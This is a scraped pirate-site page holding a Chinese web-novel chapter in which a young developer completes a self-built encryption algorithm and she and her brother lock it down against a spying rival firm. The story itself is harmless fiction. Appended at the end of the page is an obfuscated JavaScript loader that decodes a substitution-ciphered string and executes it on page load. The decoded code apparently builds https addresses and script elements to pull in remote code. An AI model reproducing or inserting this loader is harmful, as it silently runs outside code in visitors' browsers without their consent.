首页
前传第231章 浮萍出关,算
返回
关灯 护眼:关 字号:小

前传第231章 浮萍出关,算法终获大成

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    前传第231章浮萍出关,算法终获大成(第1/2页)
    深秋的江城连日阴雨,细密雨丝连绵不绝,把整片科创园区浸得潮湿微凉。云层压得很低,天光浅淡朦胧,落在老旧研发楼的玻璃窗上,晕开一层朦胧的水痕,像极了这片行业深处常年隐匿的暗流与迷雾。
    整整二十七天。
    姚浮萍没有踏出三楼研发室半步。
    从初秋到深秋雨落,她隔绝了外界所有声响、所有纷扰、所有登门的游说与试探,日复一日沉在密密麻麻的代码与数据流里,昼夜不分,心无旁骛。
    研发室的百叶窗始终半垂,遮住了大半天光,室内常年亮着冷白色的顶灯,光线安静、冰冷、恒定,一如她这些年沉潜深耕的心境,不受外界浮华牵动,不被世俗利弊裹挟。
    走廊尽头的通风口传来细碎风声,楼道里偶尔响起往来职员的脚步声、低声交谈声、茶水间的水流声,人间烟火、职场喧嚣尽数隔在门外。
    门内,只有屏幕不断滚动的字符、跳动的数据流、静默运行的测试程序,还有一个少年人最纯粹、最执拗的技术理想。
    姚厚朴拎着温热的杂粮粥与清淡小菜,轻手轻脚推开虚掩的研发室大门时,习惯性放轻了所有动作,连呼吸都刻意放缓。
    他太了解自己这个妹妹。
    姚浮萍对代码的专注,是近乎偏执的沉浸。一旦进入研发状态,周遭万物皆为空无,外界的动静、身体的疲惫、昼夜的更迭,尽数无法入她眼底。旁人眼中枯燥晦涩、密密麻麻的底层算法,于她而言,是唯一的热爱、唯一的归属、唯一愿意倾尽所有奔赴的天地。
    这间不足二十平的小研发室,是她的世界,也是她的城池。
    “今天雨大,楼下风凉,我给你带了热食,先歇十分钟。”
    姚厚朴把餐盒轻轻放在角落的置物桌上,声音压得极低,温和又耐心,带着数年如一日的包容与守护。
    从小到大,他永远是那个替妹妹挡风雨、挡纷扰、挡世俗算计的人。妹妹负责纯粹追梦、深耕技术,他负责打理俗世一切,平衡理想与生存,隔绝所有浑浊与功利。
    办公桌前的少女微微抬头。
    二十一岁的姚浮萍,身形清瘦,眉眼干净澄澈,皮肤是长期久坐不见日光的白皙,额前碎发微微垂落,遮住了清淡的眉眼。眼底没有年轻人的浮躁张扬,只有长期与代码相伴沉淀出的沉静、通透与笃定。
    她眼底带着连日熬夜的淡淡红血丝,下颌线条清浅柔和,整个人看着单薄安静,可那双盯着屏幕的眸子,却藏着旁人难及的锐利与执拗。
    那是属于技术天才独有的锋芒,内敛不外露,却坚不可摧。
    “不用歇。”
    姚浮萍的声音清淡微凉,语速平缓,带着一丝久不与人交谈的寡淡,却字字笃定,没有半分疲惫松懈。
    “最后一组闭环校验跑完,底层容错逻辑全部适配完毕,算法……成了。”
    短短一句话,轻飘飘落在安静的研发室里,却让姚厚朴的动作骤然一顿,心底积压数月的紧绷与焦灼,在这一刻轰然落地,化作绵长的释然。
    他快步走到电脑屏幕前,目光落在满屏滚动的测试日志上。
    没有报错红字,没有数据偏移,没有逻辑冲突。
    数万次压力测试、极限攻防测试、模拟泄露拦截测试、极端环境容错测试,全部百分百通过。
    屏幕中央,一行简洁干净的绿色字体静静悬浮,沉稳有力,宣告着一场耗时两年、历经无数次推翻重构、无数次熬夜攻坚、无数次自我质疑的技术长跑,终于抵达终点。
    【自适应分层加密算法·终极版本,闭环成型,防护阈值达标,漏洞清零,兼容适配完成。】
    这就是日后震撼整个数据安全行业、撑起「五彩绫镜」核心骨架的底层加密逻辑。
    是姚浮萍从十九岁独自构思框架,一点点打磨、重构、迭代、完善,熬过无数无人知晓的深夜,顶住无数资本诱惑、行业质疑、竞品窥探,硬生生打磨出来的国产自主底层算法。
    没有借鉴外来框架,没有套用现有开源模板,没有依附任何大厂技术体系。
    纯粹、干净、自主、可控。
    “真的成了……”
    姚厚朴看着屏幕上稳定运行的数据流,喉结微微滚动,眼底涌上难以言说的动容。
    两年。
    整整两年。
    兄妹二人从一无所有的简陋工位起步,被业内嘲讽年少轻狂、异想天开,被资本判定无商业价值、无法落地,被竞品暗中窥探、处处提防。他们熬过资金短缺的窘迫,熬过技术瓶颈的绝望,熬过无人认可的落寞,熬过无数次推倒重来的崩溃。
    无数个深夜,整栋科创楼人去楼空,只有这间小屋灯火长明。
    无数次迭代失败,数据全线崩塌,逻辑彻底紊乱,姚浮萍沉默良久,不哭不闹,只是揉揉酸涩的眼睛,从头再来。
    旁人的青春是热闹喧嚣、追逐名利、辗转人际,他们的青春是代码无声、数据无言、执念不改、初心不负。
    “底层漏洞全部补全了。”
    姚浮萍指尖轻触键盘,动作轻盈熟练,调出完整的算法架构图,层层拆解,条理清晰,语气平静地复盘所有攻坚难点。
    “之前卡壳的跨端适配问题、海量数据并发加密延迟问题、极端入侵下的权限溢出漏洞,全部完成闭环修复。新增的自适应溯源逻辑,可以在数据被窃取、篡改、流转的瞬间自动留痕、锁定源头、拦截外泄。”
    “容错率、防护强度、加密速度、适配广度,全部超越目前市面所有通用加密算法,不存在可被快速破解的通用后门,也没有可供二次篡改的底层漏洞。”
    她不擅长张扬功绩,不懂得渲染艰难,只是平铺直叙地说出结果,清淡的语气里,藏着极致的底气与自信。
    技术人的底气,从来不在言辞,而在落地的成果、严谨的逻辑、无懈可击的代码。
    姚厚朴看着屏幕上密密麻麻、层层嵌套、精密绝伦的算法架构,再看向身旁一脸平静、不见半分骄傲的妹妹,心底五味杂陈。
    他比任何人都清楚这套算法的价值。
    在整个行业都在追逐快速变现、套用现成模板、拼接开源代码、靠包装炒作抢占市场的浮躁年代,没人愿意沉下心打磨底层技术,没人愿意耗费两年青春攻坚基础逻辑。
    底层研发周期长、投入大、见效慢、难盈利,是所有资本避之不及的领域。
    所有人都想走捷径,所有人都想赚快钱。
    唯独姚浮萍,甘愿坐两年冷板凳,守一方寂静书桌,以少年赤诚,死磕国产底层技术。
    “这套算法,彻底成型,意味着我们真正有了立足行业的根本。”姚厚朴沉声开口,语气郑重。
    “不再是依附别人的模板,不再是追赶别人的脚步,我们有了自己的核心、自己的壁垒、自己不可被替代的技术底气。”
    以往兄妹二人私下研发,始终是无根之萍,没有完整闭环,没有成型体系,哪怕思路超前,也只是雏形构想,随时可能被借鉴、被篡改、被超越。
    可如今,大成的底层算法,就是最坚硬的铠甲,也是最锋利的长剑。
    “不能外传。”
    姚浮萍闻言,微微抬眸,清淡的眼底掠过一丝极淡的警惕与坚定。
    这是她两年来始终不变的执念与底线。
    “所有底层源码、架构逻辑、闭环公式、容错参数,全部严格封存,不公开、不共享、不授权、不交易。”
    (本章未完,请点击下一页继续阅读)前传第231章浮萍出关,算法终获大成(第2/2页)
    “可以无偿做公益防护适配,可以用来守护普通用户数据安全,可以打磨优化迭代升级,但绝不卖给资本,绝不用来做流量收割,绝不沦为牟利工具。”
    两年前,她亲眼见过成熟算法被资本买断后篡改底层逻辑,刻意留设后门,暗中窃取用户隐私数据牟利;见过无数纯粹技术,最终沦为资本收割韭菜、垄断市场、操控数据的工具。
    从那天起,她便立下铁律。
    技术向善,终身不改。技术护人,绝不害人。
    姚厚朴重重点头,无比认同:“我明白。从今天起,所有核心资料全部进入离线封存状态。内网隔离、设备断网、双重加密、物理锁存,不留任何网络备份,杜绝一切外泄可能。”
    “除了你我,无人可以接触完整源码。哪怕日后寻求合作、寻求融资、寻求落地,也只开放表层适配接口,底层核心永久封存。”
    这是他们兄妹二人,给自己守住的最后一方净土。
    窗外的雨还在下,淅淅沥沥,敲打着玻璃窗,温柔又绵长。
    室内安静至极,只有电脑风扇轻微的嗡鸣,平稳舒缓,一如此刻尘埃落定、终获圆满的心境。
    姚浮萍微微闭眼,靠在椅背上,长久紧绷的脊背终于彻底放松。
    二十七个日夜不眠不休的攻坚,无数次逻辑推演,无数次数据试错,无数次推翻重构,所有的疲惫、焦灼、紧绷、压抑,在算法大成的这一刻,尽数烟消云散。
    不是狂喜,不是亢奋,是极致平静后的安然与笃定。
    她终于做出了自己想要的技术。
    干净、纯粹、公正、强大,只护众生,不染污浊。
    可这份平静安稳,仅仅持续了短短片刻,就被一阵极轻、极隐蔽的楼道脚步声,悄然打破。
    脚步声刻意放得极轻,缓慢拖沓,走走停停,在研发室门外徘徊不去,带着明显的窥探与试探,不似正常通勤职员的匆忙步履。
    姚厚朴眼神瞬间一沉,常年护妹、常年应对行业窥探的警惕心瞬间拉起。
    他抬手示意妹妹噤声,自己缓步走到门边,没有立刻开门,隔着厚实的门板静静聆听。
    门外的人似乎在试探室内动静,停留数秒后,脚步缓缓挪开,朝着楼梯口的方向慢慢远去,最终彻底消失在楼道尽头。
    但那股刻意伪装、鬼鬼祟祟的窥探感,久久萦绕不散。
    “有人盯过来了。”
    姚厚朴低声开口,语气凝重。
    “算法闭环成型的动静,看似隐秘,实则测试数据波动、算力调用痕迹、后台适配记录,终究会在行业隐秘渠道流出痕迹。”
    “我们闭门攻坚二十余天,毫无动静,如今突然全线稳定、算力回落、测试终止,业内有心人,一定猜到我们出成果了。”
    不用多想,来人是谁,不言而喻。
    整个江城科创圈,最擅长暗中窥探、蹲守动静、窃取技术、坐等他人成果落地再伺机掠夺的,唯有荆棘科技。
    这两年,荆棘科技从未停止对他们兄妹的窥探与骚扰。
    初期假意洽谈合作,实则套取研发思路;中期高薪挖角,试图瓦解二人搭档;后期暗中蹲守机房数据,追踪测试痕迹,全程紧盯他们的研发进度。
    只是前两年算法始终处于迭代攻坚期,未成闭环,无核心价值可盗,对方才始终按兵不动,只暗中观望。
    如今算法大成,真正的核心壁垒落地,真正能颠覆行业格局的技术成型,对方再也坐不住了。
    “他们猜到我们成了。”
    姚浮萍缓缓睁眼,眼底的疲惫尽数褪去,只剩一片清冷通透的清醒。
    她不谙人情世故,不懂职场算计,可常年深耕技术、常年身处行业暗流,让她对恶意窥探有着天生的敏锐感知。
    “之前资本登门利诱、高价买断,是试探。如今暗中蹲守、门外窥探,是觊觎。”
    “他们想要这套底层算法,想要这套可以垄断数据安全赛道、重塑行业格局的核心技术。”
    荆棘科技一贯的套路,向来如此。
    自己不愿沉心研发,不愿投入成本深耕底层,只想坐等中小团队攻坚克难、技术落地成型,再通过窃取、买断、挖角、碰瓷、伪造专利等各种手段,掠夺成果,抢占市场,收割红利。
    这两年,江城无数小型科创团队的优质技术,尽数被荆棘科技以这般手段蚕食吞并。
    无人幸免,无人可挡。
    “不止荆棘。”
    姚厚朴想得更深、更远,语气愈发凝重。
    “还有境外资本。”
    早前数次登门、开出天价薪酬、许诺顶级实验室资源、只求独家授权的海外团队,从来不是单纯求技术合作。
    他们觊觎的,是国产自主底层加密算法的完全掌控权。
    一旦这套技术落入境外资本手中,不仅国内数据安全赛道会被彻底垄断,无数民生数据、政务数据、互联网隐私数据的防护命脉,都会受制于人。
    这也是兄妹二人从始至终,坚决拒绝所有境外合作、隔绝一切外资介入的根本原因。
    国产技术,必守国门。核心命脉,绝不外流。
    “从今天起,安保等级拉到最高。”
    姚厚朴立刻定下新规,条理清晰,稳妥周全,彻底封死所有外泄漏洞。
    “第一,所有测试设备全部断网,物理隔离,杜绝远程渗透、后台窃取、数据爬取。”
    “第二,完整源码分四段离线封存,你我各持两段,分开保管,缺一不可,单人无法调取完整算法。”
    “第三,注销所有云端备份、临时日志、迭代草稿,彻底清除所有痕迹,不留半点可溯源漏洞。”
    “第四,近期不再做任何公开测试、行业交流、技术分享,彻底沉寂,低调蛰伏,隐匿成果,麻痹外界窥探视线。”
    一套防护流程,层层闭环,滴水不漏。
    既是守护两年心血,也是守护一份纯粹的技术初心,更是守护未来国产数据安全的一线生机。
    姚浮萍微微颔首,眼底澄澈坚定。
    她不懂商业博弈,不懂人心算计,不懂资本权谋。
    但她懂代码,懂逻辑,懂坚守,懂取舍。
    她能做的,就是守住自己亲手打磨的技术,守住技术向善的底线,守住这份不被世俗污染的赤诚。
    雨势渐缓,天光慢慢清亮些许,透过百叶窗的缝隙,落在电脑屏幕的算法架构图上,细碎明亮,温柔坚定。
    历时两年,千磨万击,终获大成。
    无人知晓这间小小研发室里,藏着足以颠覆行业、改写赛道、守护万千用户数据安全的核心力量。
    无人知晓,多年后享誉全球、护佑无数隐私数据的「五彩绫镜」,最初只是两个年轻人,在阴雨连绵的深秋,在无人问津的陋室里,默默守护的一份纯粹初心。
    前路依旧暗流汹涌,资本环伺,竞品虎视,风雨未歇,博弈将至。
    但自此日起,他们手握底气,心有铠甲,身有利刃。
    蛰伏蓄力,静待风起。
    只待他日相逢,志同道合之人齐聚,便可破土而出,以纯粹技术,破行业乱象,以少年赤诚,守人间清朗。
    窗外雨落无声,岁月沉潜有光。
    算法大成,初心不改,前路漫漫,终有归程。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();